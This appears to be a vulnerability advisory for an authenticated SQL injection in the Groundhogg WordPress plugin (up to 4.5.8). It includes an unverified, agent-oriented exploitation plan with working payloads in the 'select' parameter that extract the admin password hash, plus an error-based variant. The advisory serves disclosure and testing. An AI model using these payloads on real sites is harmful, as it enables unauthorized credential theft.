CVE-2026-14029

Groundhogg <= 4.5.8 - Authenticated (Custom+) SQL Injection via 'select' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
4.5.9
Patched in
1d
Time to patch

Description

The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to generic SQL Injection via the 'select' parameter in all versions up to, and including, 4.5.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the attacker to hold a Groundhogg custom role with the view_contacts capability, which is granted by default to several built-in Groundhogg roles above the base subscriber level.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.5.8
PublishedJuly 1, 2026
Last updatedJuly 2, 2026
Affected plugingroundhogg

What Changed in the Fix

Changes introduced in v4.5.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-14029 - Groundhogg SQL Injection ## 1. Vulnerability Summary The **Groundhogg** plugin (<= 4.5.8) is vulnerable to an authenticated SQL injection via the `select` parameter. The vulnerability exists within the `Groundhogg\DB\Query\Query` class, which handles t…

Show full research plan

Exploitation Research Plan: CVE-2026-14029 - Groundhogg SQL Injection

1. Vulnerability Summary

The Groundhogg plugin (<= 4.5.8) is vulnerable to an authenticated SQL injection via the select parameter. The vulnerability exists within the Groundhogg\DB\Query\Query class, which handles the construction of SQL statements for various database objects, most notably contacts. The set_query_params method fails to sufficiently sanitize entries in the select parameter, allowing an attacker to inject subqueries or manipulate the SELECT clause of the final SQL statement.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (v3 and v4).
  • Vulnerable Routes:
    • GET /wp-json/gh/v3/contacts
    • GET /wp-json/gh/v4/contacts
  • Vulnerable Parameter: select
  • Authentication Required: Authenticated user with the view_contacts capability.
  • Preconditions: Groundhogg roles such as Marketer, Sales Manager, or any custom role with view_contacts must be assigned to the user. By default, these roles are available in the plugin.

3. Code Flow

  1. Entry Point: An authenticated user calls the REST API route GET /wp-json/gh/v3/contacts?select=....
  2. API Handler: In api/v3/contacts-api.php, the get_contacts method (or read in v4) is triggered.
  3. Query Initialization: The API handler instantiates Groundhogg\Contact_Query (which extends Groundhogg\DB\Query\Table_Query -> Groundhogg\DB\Query\Query).
  4. Parameter Processing: The REST request parameters are passed to $query->set_query_params( $params ) (defined in db/query/query.php).
  5. Vulnerable Sink:
    // db/query/query.php
    case 'select':
        if ( ! is_array( $value ) ) {
            $value = array_map( 'trim', explode( ',', $value ) );
        }
        $this->setSelect( ...$value ); // Columns are stored for the SELECT clause
        break;
    
  6. Query Execution: When the query is executed via $wpdb->get_results(), the strings in the $select array are joined into the SELECT statement. Because maybe_sanitize_aggregate_column or sanitize_column are either bypassed or insufficient, an attacker can inject a subquery.

4. Nonce Acquisition Strategy

To interact with the WordPress REST API via cookie-based authentication, a _wpnonce is required in the X-WP-Nonce header.

  1. Login: The agent must first log in as a user with Groundhogg permissions (e.g., marketer).
  2. Navigate: Use browser_navigate to the WordPress dashboard (/wp-admin/).
  3. Extract: Execute browser_eval to extract the REST nonce from the global wpApiSettings object injected by WordPress.
    // Execution command
    browser_eval("window.wpApiSettings?.nonce")
    
  4. Usage: Include the returned string in the X-WP-Nonce header for subsequent REST API requests.

5. Exploitation Strategy

The goal is to extract the admin password hash from the wp_users table using a subquery within the select list.

Step 1: Discover Column Names

The contacts table typically has columns like email, first_name, last_name. We will add our payload to the list of columns to be selected.

Step 2: Perform Data Extraction

We will request the contacts but force the database to include the result of a subquery in the response.

  • Request Tool: http_request
  • Method: GET
  • URL: /wp-json/gh/v3/contacts
  • Query Params:
    • select: email,(SELECT+user_pass+FROM+wp_users+WHERE+ID=1)+as+password
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: application/json

Step 3: Expected Response

The response should be a JSON array of contact objects. Each object will contain the standard email field and a new field named password containing the admin's MD5/phpass hash.

6. Test Data Setup

Before exploitation, ensure the environment is prepared:

  1. Activate Plugin: Ensure Groundhogg is active.
  2. Create Attacker User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  3. Assign Groundhogg Role: Groundhogg roles are often stored as custom capabilities or mapped to WP roles. For this test, assign the view_contacts capability directly:
    wp cap add subscriber view_contacts
    
  4. Create a Contact: At least one contact must exist for the query to return results.
    wp gh contact create --email="test-contact@example.com" --first_name="Test" --last_name="User"
    

7. Expected Results

  • Success: The REST API returns a status 200 OK.
  • Payload Reflection: The JSON response body contains:
    [
      {
        "email": "test-contact@example.com",
        "password": "$P$B..." 
      }
    ]
    
  • Failure: A 400 error or a response where the password key is missing or contains literal SQL text (indicating the sanitize_column function successfully stripped the subquery).

8. Verification Steps

  1. Retrieve Admin Hash via CLI:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1" --skip-column-names
    
  2. Compare: Verify that the hash returned by the REST API exploit matches the hash obtained directly from the database.

9. Alternative Approaches

If the select parameter is filtered or the REST API rejects the subquery syntax:

  • Error-Based Injection: Use the select parameter to trigger a MySQL error that leaks data (e.g., select=email,extractvalue(1,concat(0x7e,(select+user_login+from+wp_users+limit+1)))).
  • v4 API: Try the same payload against /wp-json/gh/v4/contacts.
  • Table View: Attempt to trigger the injection via the admin UI's contact table by manipulating the orderby or order parameters, which also pass through the Query class logic in admin/contacts/tables/contacts-table.php.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.